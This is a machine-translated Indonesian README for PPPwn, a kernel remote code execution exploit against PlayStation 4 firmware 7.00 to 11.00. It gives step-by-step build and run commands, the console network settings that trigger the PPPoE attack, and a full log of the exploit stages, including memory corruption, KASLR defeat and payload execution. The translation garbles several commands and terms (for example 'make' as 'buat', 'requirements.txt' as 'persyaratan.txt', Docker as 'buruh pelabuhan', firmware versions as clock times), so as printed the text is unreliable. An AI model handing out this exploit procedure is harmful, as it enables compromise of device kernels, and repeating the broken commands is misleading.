PPPwn adalah eksploitasi eksekusi kode jarak jauh kernel untuk PlayStation 4 hingga FW 11.00. Ini adalah eksploitasi bukti konsep untuk CVE-2006-4304 yang dilaporkan secara bertanggung jawab ke PlayStation.
Versi yang didukung adalah:
FW 7.00 / 7.01 / 7.02
FW 7.50 / 7.51 / 7.55
FW 8.00 / 8.01 / 8.03
FW 8.50 / 8.52
Pukul 9.00
FW 9.03 / 9.04
FW 9.50 / 9.51 / 9.60
Pukul 10.00 / 10.01
FW 10.50 / 10.70 / 10.71
Pukul 11.00
lebih banyak lagi yang dapat ditambahkan (PR dipersilakan)
Eksploitasi ini hanya mencetak PPPwned
di PS4 Anda sebagai bukti konsep. Untuk meluncurkan Mira atau pengaktif homebrew serupa, muatan stage2.bin
perlu disesuaikan.
Komputer dengan port Ethernet
Adaptor USB juga berfungsi
kabel ethernet
Linux
Anda dapat menggunakan VirtualBox untuk membuat VM Linux dengan Bridged Adapter
sebagai adaptor jaringan untuk menggunakan port ethernet di VM.
Python3 dan gcc diinstal
Di komputer Anda, kloning repositori:
git clone --rekursif https://github.com/TheOfficialFloW/PPPwn
Ubah direktori ke repositori kloning:
cd PPPwn
Instal persyaratan:
sudo pip install -r persyaratan.txt
Kompilasi payload:
buat -C stage1 FW=1100 bersihkan && buat -C stage1 FW=1100 buat -C stage2 FW=1100 bersihkan && buat -C stage2 FW=1100
Untuk firmware lain, misalnya FW 9.00, lewati FW=900
.
JANGAN JALANKAN eksploitasi dulu (jangan tekan Enter dulu) tetapi siapkan perintah ini pada prompt Anda (lihat ifconfig
untuk antarmuka yang benar):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Untuk firmware lain, misalnya FW 9.00, lewati --fw=900
.
Di PS4 Anda:
Buka Settings
lalu Network
Pilih Set Up Internet connection
dan pilih Use a LAN Cable
Pilih Pengaturan Custom
dan pilih PPPoE
untuk IP Address Settings
Masukkan apa saja untuk PPPoE User ID
dan PPPoE Password
Pilih Automatic
untuk DNS Settings
dan MTU Settings
Pilih Do Not Use
untuk Proxy Server
Sekarang, tekan tombol 'X' secara bersamaan pada pengontrol Anda pada Test Internet Connection
dan 'Enter' pada keyboard Anda (di komputer Anda telah menyiapkan skrip Python untuk dijalankan).
SELALU tunggu konsol menampilkan pesan "Tidak dapat terhubung ke jaringan: (NW-31274-7)" sebelum mencoba injeksi PPPOE ini lagi.
Jika eksploitasi gagal atau PS4 mogok, Anda dapat melewati pengaturan internet dan cukup klik Test Internet Connection
. Matikan skrip pppwn.py
dan jalankan kembali di komputer Anda, lalu klik Test Internet Connection
di PS4 Anda: selalu secara bersamaan.
Jika eksploitasi berhasil, Anda akan melihat keluaran seperti di bawah ini, dan Anda akan melihat Cannot connect to network.
diikuti dengan PPPwned
yang tercetak di PS4 Anda, atau sebaliknya.
[+] PPPwn - PlayStation 4 PPPoE RCE menurut arus [+] argumen: antarmuka=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] TAHAP 0: Inisialisasi [*] Menunggu PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Sumber MAC: 07:ba:be:34:d6:ab [+] Panjang cookie AC: 0x4e0 [*] Mengirim PADO... [*] Menunggu PADR... [*] Mengirim PADS... [*] Menunggu permintaan konfigurasi LCP... [*] Mengirim konfigurasi LCP ACK... [*] Mengirim permintaan konfigurasi LCP... [*] Menunggu LCP mengkonfigurasi ACK... [*] Menunggu permintaan konfigurasi IPCP... [*] Mengirim IPCP mengkonfigurasi NAK... [*] Menunggu permintaan konfigurasi IPCP... [*] Mengirim konfigurasi IPCP ACK... [*] Mengirim permintaan konfigurasi IPCP... [*] Menunggu IPCP mengkonfigurasi ACK... [*] Menunggu antarmuka siap... [+] Target IPv6: fe80::2d9:d1ff:febc:83e4 [+] Perawatan tumpukan...selesai [+] TAHAP 1: Kerusakan memori [+] Menyematkan ke CPU 0...selesai [*] Mengirim permintaan konfigurasi LCP berbahaya... [*] Menunggu permintaan konfigurasi LCP... [*] Mengirim konfigurasi LCP ACK... [*] Mengirim permintaan konfigurasi LCP... [*] Menunggu LCP mengkonfigurasi ACK... [*] Menunggu permintaan konfigurasi IPCP... [*] Mengirim IPCP mengkonfigurasi NAK... [*] Menunggu permintaan konfigurasi IPCP... [*] Mengirim konfigurasi IPCP ACK... [*] Mengirim permintaan konfigurasi IPCP... [*] Menunggu IPCP mengkonfigurasi ACK... [+] Memindai objek yang rusak...ditemukan fe80::0fdf:4141:4141:4141 [+] TAHAP 2: Kekalahan KASLR [*] Mengalahkan KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] TAHAP 3: Eksekusi kode jarak jauh [*] Mengirim permintaan penghentian LCP... [*] Menunggu PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Sumber MAC: 97:df:ea:86:ff:ff [+] Panjang cookie AC: 0x511 [*] Mengirim PADO... [*] Menunggu PADR... [*] Mengirim PADS... [*] Memicu eksekusi kode... [*] Menunggu tahap 1 dilanjutkan... [*] Mengirim PADT... [*] Menunggu PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Panjang cookie AC: 0x0 [*] Mengirim PADO... [*] Menunggu PADR... [*] Mengirim PADS... [*] Menunggu permintaan konfigurasi LCP... [*] Mengirim konfigurasi LCP ACK... [*] Mengirim permintaan konfigurasi LCP... [*] Menunggu LCP mengkonfigurasi ACK... [*] Menunggu permintaan konfigurasi IPCP... [*] Mengirim IPCP mengkonfigurasi NAK... [*] Menunggu permintaan konfigurasi IPCP... [*] Mengirim konfigurasi IPCP ACK... [*] Mengirim permintaan konfigurasi IPCP... [*] Menunggu IPCP mengkonfigurasi ACK... [+] TAHAP 4: Eksekusi muatan sewenang-wenang [*] Mengirim muatan tahap 2... [+] Selesai!
Kode tidak dapat dikompilasi di Apple Silicon dan memerlukan arsitektur AMD64. Ada solusi menggunakan buruh pelabuhan yang akan membuat file bin yang diperlukan. Kloning repositori ini ke sistem mac Anda, lalu dari folder repo jalankan ./build-macarm.sh
. Ini akan membuat binari untuk PS4 FW 1100 dan menempatkan file yang diperlukan ke dalam folder yang benar. Untuk membangun binari untuk versi yang berbeda, yaitu 900, jalankan perintah seperti ini: ./build-macarm.sh 900
. Setelah dibuat, salin struktur folder ini ke VM Linux dan jalankan seperti yang diinstruksikan di atas. Ini telah diuji menggunakan VMware Fusion 13.5.1, dengan VM Guest sebagai Ubuntu 24.04, dan mesin hostnya adalah MacOS 14.4.1